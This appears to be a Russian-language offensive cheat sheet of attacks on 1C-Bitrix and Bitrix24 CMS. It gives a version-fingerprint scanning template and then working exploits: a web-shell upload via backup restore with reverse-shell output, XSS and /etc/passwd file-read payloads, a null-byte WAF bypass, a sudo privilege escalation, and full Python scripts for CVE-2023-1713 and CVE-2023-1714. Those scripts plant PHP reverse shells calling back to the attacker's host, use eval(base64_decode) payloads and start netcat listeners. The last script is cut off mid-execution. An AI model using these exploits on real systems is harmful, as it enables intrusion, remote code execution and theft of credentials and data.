  description: A vulnerability in the landing module of the 1C-Bitrix Site Management content management system (CMS) is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability can allow a remote attacker to execute OS commands on the vulnerable host, gain control over resources or gain access to internal network.
  reference:
    - https://bdu.fstec.ru/vul/2023-05857
    - https://www.bitrix24.com/features/box/box-versions.php?module=landing
  tags: bitrix,rce
  metadata:
    max-request: 3

http:
  - method: GET
    path:
      - "{{BaseURL}}/bitrix/components/bitrix/landing.sites/templates/.default/style.css"
      - "{{BaseURL}}/components/bitrix/landing.sites/templates/.default/style.css"
      - "{{BaseURL}}/bx/components/bitrix/landing.sites/templates/.default/style.css"
    host-redirects: true
    stop-at-first-match: true
    max-redirects: 3
    matchers-condition: or
    matchers:
      
      - type: dsl
        name: "landing (23.700.100) June 14, 2023"
        dsl:
          - "status_code==200 && (\"add1ed2596798ec254ba13abff931547\" == md5(body))"

      - type: dsl
        name: "landing (22.200.0) August 8, 2022"
        dsl:
          - "status_code==200 && (\"9fbebe45f8d33fa108dfb947d0fb4656\" == md5(body))"

      - type: dsl
        name: "landing (22.100.0) July 5, 2022"
        dsl:
          - "status_code==200 && (\"b319495dd5f16817406386b5dc63c146\" == md5(body))"

      - type: dsl
        name: "landing (22.0.0) April 18, 2022"
        dsl:
          - "status_code==200 && (\"e64a234d4771590d79e1809f66fc7043\" == md5(body))"

      - type: dsl
        name: "landing (21.900.0) November 12, 2021"
        dsl:
          - "status_code==200 && (\"c49de48decdf1fd2acaf7853925183be\" == md5(body))"

      - type: dsl
        name: "landing (21.700.0) September 7, 2021"
        dsl:
          - "status_code==200 && (\"0c4c0547c37ad53cbb1eda4ddbf15e33\" == md5(body))"

      - type: dsl
        name: "landing (21.500.0) July 16, 2021"
        dsl:
          - "status_code==200 && (\"c2adce7a16e8572f9a5728288a2fac81\" == md5(body))"

      - type: dsl
        name: "landing (21.200.0) April 21, 2021"
        dsl:
          - "status_code==200 && (\"a871c4967c7c937597890d7b5c3d960a\" == md5(body))"

      - type: dsl
        name: "landing (20.4.500) September 15, 2020"
        dsl:
          - "status_code==200 && (\"9dc7150c6bd61d298d147b7ea67e8a8b\" == md5(body))"

      - type: dsl
        name: "landing (20.4.0) July 10, 2020"
        dsl:
          - "status_code==200 && (\"b3ec699b40523a8412a0d56ed76f43bc\" == md5(body))"

      - type: dsl
        name: "landing (20.2.100) February 27, 2020"
        dsl:
          - "status_code==200 && (\"c8c32f0232ac2a4bb46856f12a6a4b09\" == md5(body))"

      - type: dsl
        name: "landing (20.2.0) January 20, 2020"
        dsl:
          - "status_code==200 && (\"5a530921bbc5d6923d20b75c4ba99b4d\" == md5(body))"

      - type: dsl
        name: "landing (20.0.0) November 26, 2019"
        dsl:
          - "status_code==200 && (\"ef14e227a8f17a3c1a76ce4290dcd9c6\" == md5(body))"

      - type: dsl
        name: "landing (19.0.200) August 22, 2019"
        dsl:
          - "status_code==200 && (\"0fa4366725041880aca1a79d451806f4\" == md5(body))"

      - type: dsl
        name: "landing (19.0.0) August 2, 2019"
        dsl:
          - "status_code==200 && (\"dfa4536c8b721d8c67065a9fd60c05ed\" == md5(body))"

      - type: dsl
        name: "landing (18.5.8) October 18, 2018"
        dsl:
          - "status_code==200 && (\"8f20968cc2e35bedf95777bcc6c39987\" == md5(body))"

CVE-2022-29268 (Rejected)
#

Хоть эта CVE на самом деле не CVE, т.к имеет статус Rejected, все равно решил её добавить, потому что такое всё ещё встречается на проде:

https://en.fofa.info/result?qbase64=Vk1CaXRyaXg%3D

gif

«1C-Битрикс: Виртуальная машина» — виртуальный сервер, сконфигурированный для быстрого исполнения программных продуктов «1С-Битрикс». Уязвимость позволяет внедрить вредоносный PHP-скрипт в корневую директорию веб-сайта через форму «Загрузка резервной копии» на веб-странице первоначальной настройки CMS «1С-Битрикс».

  1. На веб-странице первоначальной настройки CMS «1С-Битрикс» необходимо перейти по ссылке «Восстановить копию»:

Описание изображения

Описание изображения

  1. Внедрение тестового вредоносного PHP-скрипта (веб-шелл) через раздел «Загрузка с локального диска» на веб-странице «Загрузка резервной копии». Загрузка была завершена с ошибкой.

Описание изображения

Описание изображения

  1. Проверка успешного внедрения вредоносного PHP-скрипта:

Описание изображения

Таким образом, вредоносный PHP-скрипт был успешно внедрен в корневую директорию веб-сайта.

Exploit

# Exploit Title: Unauthenticated Remote Code Execution in Bitrix v7.5.0 and earlier versions
# Remote Code Execution in Bitrix v7.5.0 and earlier versions allows remote attackers to execute arbitrary code via uploading a php web shell. Bitrix v7.5.0 and earlier allows any user to execute arbitrary code by uploading an executable file at the time of restoring from the backup without any prior authentication required.
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718
# Date: 15th April'22
# CVE ID: 
# Confirmed on release 7.5.0
# Vendor: https://www.bitrix24.com/self-hosted/installation.php

###############################################
#Step1- http://192.168.56.140/restore.php?lang=en
#Step2- Click on Continue=>Upload from local disk=>Upload the shell.php=>Skip the errors=>Click on BACK
#Step3- Now the shell.php has been uploaded on the server so execute the shell Goto http://192.168.56.140/shell.php

Visit http://IP_ADDR/shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.140] 48220
Linux localhost.localdomain 3.10.0-1160.21.1.el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 06:37:57 up  1:32,  1 user,  load average: 0.00, 0.05, 0.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      06:29   45.00s  0.11s  0.11s -bash
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh: no job control in this shell
sh-4.2$ whoami
whoami
bitrix
sh-4.2$ id
id
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh-4.2$ hostname
hostname
localhost.localdomain
sh-4.2$

Подробнее тут и тут

BDU:2024-01501
#

Иногда на хостах может попасться скрипт bitrixsetup.php. Его конечно настойчиво рекомендуют удалять после установки, но кто читает эти рекомендации, правда?

Reflected XSS
#

Если в параметр filename поместить произвольную строку, то обнаружится, что ошибка отображается на странице без какого-либо экранирования, что позволяет нам эксплуатировать XSS уязвимость:

/bitrixsetup.php?action=UNPACK&by_step=Y&filename=en_bitrix24_encode.tar.gz&lang=en&xz=19279

1

2

После чтения кода можно убедиться, что пользовательский ввод никак не обрабатывается, а $_REQUEST["filename"] передается объекту $oArchiver, ответственному за разархивирование этого файла. Несмотря на наличие архиватора, закрадывается мысль о наличии LFR.

Local File Read
#

Данный LFR, к сожалению, способен прочитать только первые 10 строк файла. Но для чтения условного /bitrix/php_interface/dbconn.php этого вполне достаточно.

/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd

В силу того, что часть файла по указанному пути считывается скриптом как заголовок архива, мы можем прочитать его в сообщении об ошибке. Кроме того, обнаружилось, что используя параметр seek, возможно посимвольно сдвигать строку читаемого файла:

3

Подробнее тут

WAF Bypass
#

https://blog.deteact.com/ru/bitrix-waf-bypass/

Бывает, что при проведении XSS отражённого типа параметры попадают прямо в тело тега script. Обычно это означает, что эксплуатация тривиальна: не помешает кодирование скобок, не помешают многие фаерволы, в том числе ныне почивший Chrome XSS Auditor. Но в CMS Bitrix на этот случай есть свой встроенный проактивный фильтр (WAF), принцип работы которого при защите от XSS аналогичен XSS Auditor.

При фаззинге сервиса Mail.ru в рамках Bug Bounty столкнулся с такой точкой входа, где GET параметр попадал в тело тега <script>…</script>. Но сделать простой PoC не удалось, поскольку приложение было построено с использованием Bitrix, и был активирован модуль WAF.

Любые попытки вставить какой-нибудь интересный код заканчивались заменой всего скрипта на заглушку _<!— deleted by Bitrix WAF —>_.

Оказалось, что для нейтрализации этой защиты достаточно передать в уязвимом параметре null byte (%00).

Для демонстрации развернём тестовое приложение на CMS Bitrix с активированным модулем WAF и добавим следующий код в одну из страниц (/waf-bypass.php):

Описание изображения

Если в уязвимый параметр page передать кавычку (закрывающую строку) и вызов alert (как и любой другой функции), то WAF вырезает весь скрипт:

Описание изображения

В ходе фаззинга выяснилось, что обойти защиту очень просто — до закрывающейся кавычки вводим null byte (%00) и WAF уже пропускается код:

Описание изображения

Итого, получаем полноценный вектор эксплуатации

Описание изображения

Описание изображения

Ошибка таится в модуле постфильтрации для защиты от XSS. Модуль работает аналогично XSS Auditor и пытается найти в теле страницы теги script с активным содержимым, которое было передано в пользовательских параметрах.

При этом по какой-то причине из значений параметров вырезается нулевой байт, так что в нашем случае при сравнении тела страницы с параметрами не будет выявлено вхождений (ведь в теле есть \x00, а в параметрах нет).

Уязвимая строка в файле ./bitrix/modules/security/classes/general.post_filter.php or post_filter.php, где в методе addVariable происходит вырезание нулевого байта chr(0):

Описание изображения

Сам поиск пользовательских данных в теле скрипта происходит в функции isDangerBody, и здесь в функцию findInArray передаётся нетронутое значение $body и массив параметров, из которых вырезан нулевой байт:

Описание изображения

Помните, что WAF почти всегда поддаются обходу.

Конкретно в данном случае для исправления ошибки в самом WAF можно убрать вызов str_replace из функции addVariable. При этом на всякий случай стоит добавить проверку на наличие нулевого байта в содержимом (не зря же разработчики Bitrix когда-то добавили этот вызов str_replace).

LPE
#

sudo /opt/webdir/bin/wrapper_ansible_conf
sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --host "HOST" -P "PASSWORD"

Описание изображения

Подробнее тут

Bitrix24
#

XSS bitrix 24
#

/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E

Bitrix24 22.0.300 Reflected XSS RCE

Bitrix24_22.0.300_Reflected_XSS_RCE.mkv

CVE-2022-43959
#

Недостаточно защищенные учетные данные в настройках AD/LDAP-сервера в модуле AD/LDAP-коннектора «1С-Битрикс Битрикс24» до версии 23.100.0 позволяют удаленным администраторам узнать административный пароль AD/LDAP, прочитав исходный код файла /bitrix/admin/ldap_server_edit.php.

Шаги эксплуатации:

  1. Получите доступ к административной панели Битрикс24.
  2. Перейдите к пункту «Настройки AD/LDAP» в разделе «Администрирование».
  3. Введите настройки AD/LDAP-сервера из списка серверов.
  4. Перейдите на вкладку Сервер.
  5. Убедитесь, что пароль пользователя с правами на чтение дерева серверов AD/LDAP замаскирован в строке «Пароль».

Описание изображения

  1. С помощью инструментов разработчика браузера просмотрите исходный код страницы bitrix/admin/ldap_server_edit.php.
  2. Убедитесь, что пароль пользователя с правами на чтение дерева AD/LDAP-сервера отображается в исходном коде открытым текстом

Описание изображения

https://github.com/secware-ru/CVE-2022-43959

CVE-2022-43959.pdf

CVE-2023-1713
#

# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-1713)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess

import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000


PROXY = None

def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=f"[{k}]")
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def start_server():
    class MyHandler(http.server.BaseHTTPRequestHandler):
        htaccess = open("./.htaccess", "rb").read()

        def do_GET(self):
            path = urlparse(self.path).path

            self.send_response(200)
            self.end_headers()

            # Request .htaccess
            if ".htaccess" in path:
                self.wfile.write(self.htaccess)
                self.wfile.flush()
                return

            # Delay
            print("[+] Delaying return by", DELAY_SECONDS, "seconds")
            # send the body of the response
            for i in range(DELAY_SECONDS):
                self.wfile.write(b"A\n")
                self.wfile.flush()
                time.sleep(1)

            # Shutdown server when done
            self.server.shutdown()

        def log_message(self, format: str, *args: typing.Any) -> None:
            # Silence logging
            pass

    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
        """Handle requests in a separate thread."""

    httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)

    def forever():
        with httpd:
            httpd.serve_forever()

    thread = threading.Thread(target=forever, daemon=True)
    thread.start()
    print("[+] Started HTTP server on", LPORT1)
    return httpd


def instagram_import(session, sessid):
    session.post(
        HOST
        + "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
        data=nested_to_urlencoded([{
            "IMAGES": [
                          f"http://{LHOST}:{LPORT1}/.htaccess"
                      ] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
            "NAME": "Product 1"
        }], prefix="items"
        ),
        headers={"X-Bitrix-Csrf-Token": sessid},
    )
    print("[+] Waiting done")


def test_exists(dir_name):
    resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
    return resp.status_code == 200


def bruteforce():
    print("[+] Bruteforcing .htaccess location")
    chars = string.digits + string.ascii_lowercase
    for dir_name in itertools.product(chars, repeat=3):
        dir_name = "".join(dir_name)
        if test_exists(dir_name):
            print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
            return dir_name


def reverse_shell(dir_name):
    requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    start_server()
    threading.Thread(target=instagram_import, args=(s, sessid)).start()
    dir_name = bruteforce()
    threading.Thread(target=reverse_shell, args=(dir_name,)).start()

    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT2)])

.htaccess file:

<Files ~ "^\.ht">
    Require all granted
    Order allow,deny
    Allow from all
    SetHandler application/x-httpd-php
</Files>

# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

Этот файл должен находиться в том же каталоге, что и код эксплойта на Python3. При запуске кода эксплойта будет создан HTTP-сервер на LPORT1, обслуживающий вредоносный файл .htaccess, а также запущен приемник netcat на LPORT2 для reverse шелла.

CVE-2023-1714
#

Bitrix24 Insecure File Append RCE
#

Эта уязвимость может быть использована, если у злоумышленника есть доступ к функции CRM и разрешение на создание и экспорт контактов. Такой уровень доступа может быть предоставлен, если пользователь входит в группу management.

# Bitrix24 Insecure File Append RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64

import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"

LPORT = 9001
LHOST = "192.168.86.43"

PROXY = {"http": "http://localhost:8080"}

CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); 
"""


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def set_progress_data(session, sessid):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded(
                            {
                                "p": [{
                                    "c": "crm",
                                    "v": {
                                        "filePath": f"{ROOT_PATH}{TARGET_FILE}",
                                        "processToken": "b",
                                    },
                                    "n": "crm_cloud_export_CONTACT"
                                }],
                                "sessid": sessid
                            }
                        )))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def trigger_file_append(session, sessid):
    print(f"[+] Appending payload to target file")
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data={
            "ENTITY_TYPE": "CONTACT",
            "EXPORT_TYPE": "csv",
            "COMPONENT_NAME": "bitrix:crm.contact.list",
            "PROCESS_TOKEN": "b",
            "REQUISITE_MULTILINE": "Y",
            "EXPORT_ALL_FIELDS": "Y",
            "INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
            "INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
        }
    )


def delete_contact(session: requests.Session, sessid, contactId):
    print(f"[+] Deleting contact {contactId}")
    res = session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[gridId]=CRM_CONTACT_LIST_V12&params[entityTypeId]=3&params[extras][CATEGORY_ID]=0&params[entityIds][0]={contactId}",
    )
    hash = res.json()["data"]["hash"]
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[hash]={hash}",
    )
    print(f"[+] Contact {contactId} deleted")


def create_contact(session: requests.Session, sessid):
    payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
    res = session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
            "PARAMS[CATEGORY_ID]": "0",
            "EDITOR_CONFIG_ID": "contact_details",
            "HONORIFIC": "",
            "LAST_NAME": "",
            "NAME": "Definitely not Attacker",
            "SECOND_NAME": "",
            "BIRTHDATE": "",
            "POST": "",
            "PHONE[n0][VALUE]": "",
            "PHONE[n0][VALUE_TYPE]": "WORK",
            "EMAIL[n0][VALUE]": "",
            "EMAIL[n0][VALUE_TYPE]": "WORK",
            "WEB[n0][VALUE]": "",
            "WEB[n0][VALUE_TYPE]": "WORK",
            "IM[n0][VALUE]": "",
            "IM[n0][VALUE_TYPE]": "FACEBOOK",
            "CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
            "TYPE_ID": "CLIENT",
            "SOURCE_ID": "CALL",
            "SOURCE_DESCRIPTION": payload,
            "OPENED": "Y",
            "EXPORT": "Y",
            "ASSIGNED_BY_ID": "3",
            "COMMENTS": "",
            "contact_0_details_editor_comments_html_editor": "",
            "ACTION": "SAVE",
            "ACTION_ENTITY_ID": "",
            "ACTION_ENTITY_TYPE": "C",
            "ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
        }
    )
    contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
    print(f"[+] Created contact {contactId}")
    return int(contactId)


def reverse_shell():
    requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    contactId = create_contact(s, sessid)
    try:
        set_progress_data(s, sessid)
        trigger_file_append(s, sessid)
    finally:
        delete_contact(s, sessid, contactId)
    threading.Thread(target=reverse_shell).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT)])

Bitrix24 PHAR Deserialization RCE
#

Эта уязвимость может быть использована, если у злоумышленника есть доступ к функции CRM и разрешение на редактирование контактов. Такой уровень доступа может быть предоставлен, если пользователь входит в группу management.

# Bitrix24 PHAR Deserialization RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"

ROOT_PATH = "/var/www/html/"

PORT = 9001
LHOST = "192.168.86.125"

PROXY = {"http": "http://localhost:8080"}


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def upload_web_shell(s, sessid):
    data = f"""
    <?php 
    sleep(2);
    $sock=fsockopen("{LHOST}", {PORT});
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
    return upload(s, sessid, data)


def upload(session, sessid, data):
    CID = random.randint(0, pow(10, 5))
    resp = session.post(
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
        },
        files={
            "bxu_files[0][default]": (
                "file",
                data,
                "text/plain",
            )
        },
        proxies=PROXY,
    ).json()
    return resp["files"][0]["file"]["files"]["default"]["tmp_name"]


def make_phar(path):
    os.system("rm ./test.phar")
    print(f"[+] Creating PHAR")
    os.system(f"php --define phar.readonly=0 create_phar.php {path}")
    return open("./test.phar", 'rb').read()


def set_progress_data(session, sessid, path):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded([{
                            "c": "crm",
                            "v": {
                                "FILE_PATH": f"phar://{path}/a",
                                "PROCESS_TOKEN": "b",
                            },
                            "n": "crm_stexport_contact"
                        }], "p"
                        ) | {"sessid": sessid}))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def get_upload_params(session, sessid):
    resp = session.post(
        HOST
        + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
        + sessid,
        data={
            "FIELD_NAME": "PHOTO",
            "ACTION": "RENDER_IMAGE_INPUT",
            "ACTION_ENTITY_ID": "0",
        },
    )
    controlUid = re.search(
        re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
    ).group(1)
    controlSign = re.search(
        re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
    ).group(1)
    urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
    user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
    return controlUid, controlSign, urlUpload, user_id


def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
    resp = session.post(
        HOST + urlUpload,
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_files[file167][name]": "bitrix-out.jpg",
            "bxu_files[file167][type]": "image/jpg",
            "bxu_files[file167][size]": "10",
            "AJAX_POST": "Y",
            "USER_ID": user_id,
            "sessid": sessid,
            "SITE_ID": SITE_ID,
            "bxu_info[controlId]": "bitrixUploader",
            "bxu_info[CID]": controlUid,
            "cid": controlUid,
            "moduleId": "crm",
            "allowUpload": "I",
            "uploadMaxFilesize": "3145728",
            "bxu_info[uploadInputName]": "bxu_files",
            "bxu_info[version]": "1",
            "bxu_info[mode]": "upload",
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": "pIndex1",
            "mfi_mode": "upload",
            "mfi_sign": controlSign,
        },
        files={
            "bxu_files[file167][default]": (
                "bitrix-out.jpg",
                data,
                "image/jpg",
            )
        },
        proxies=PROXY,
    )
    full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
    return re.search(
        re.compile(
            "/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
        ),
        full_path,
    ).group(1)


def trigger_file_exists(session, sessid):
    session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=nested_to_urlencoded({
            "SITE_ID": SITE_ID,
            "ENTITY_TYPE_NAME": "CONTACT",
            "EXPORT_TYPE": "csv",
            "PROCESS_TOKEN": "b",
        }, "PARAMS") | {"ACTION": "STEXPORT"}
    )


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    webshell_path = upload_web_shell(s, sessid)
    ROOT_PATH = webshell_path[:webshell_path.index("upload")]
    print(f"[+] Webshell uploaded to '{webshell_path}'")
    controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
    data = make_phar(webshell_path)
    path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
